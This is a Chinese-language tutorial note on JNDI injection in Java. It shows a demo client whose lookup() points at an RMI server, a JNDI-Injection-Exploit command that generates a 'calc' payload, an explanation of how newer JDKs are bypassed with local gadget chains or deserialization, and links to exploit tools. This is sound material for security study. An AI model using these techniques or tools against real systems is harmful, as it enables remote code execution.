JNDI简介
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
漏洞触发大致过程:起一个服务端,服务端下有触发命令执行的payload,然后客户端使用不安全的java版本用rmi/ldap访问服务端时触发了代码执行
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议。
这两者注入的区别:
演示案例JNDIdemo,使用jdk1.8u65版本:
JNDIdemo.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {
public static void main(String[] args) throws NamingException {
InitialContext var1 = new InitialContext();
var1.lookup("rmi://192.168.3.184:1099/kh462y");
}
}其中注入payload由工具生成:
welk1n/JNDI-Injection-Exploit: JNDI注入测试工具)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"可以得知,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。
JNDI注入受jdk版本限制,由于java8使用最多,所以主要关注Java8(jdk1.8)的版本

jdk高版本绕过
com.sun.jndi.rmi.registry.RegistryContext: JNDI-RMI接口
java.rmi.registry.Registry: RMI 接口
一般情况下,Registry是作为RMI服务端,RegistryContext是作为被攻击的客户端
以rmi服务为例,在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类。
而在高版本jdk中,在RegistryContext#decodeObject()方法,这里增加了对类型以及trustURLCodebase的检查。也就是说,远程类加载就很困难了
显然,绕过方式之一是使用本地的Reference Factory类
比如项目存在tomcat8,Groovy等中间件或者依赖的话,就可以用本地利用链绕过
而还有一种方式为反序列化攻击,该攻击需要项目有存在反序列化利用链的项目依赖
利用项目推荐:
https://github.com/vulhub/java-chains (最推荐)
https://github.com/frohoff/ysoserial
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
https://github.com/B4aron1/JNDIBypass (自动化绕过)
详细代码分析可参考: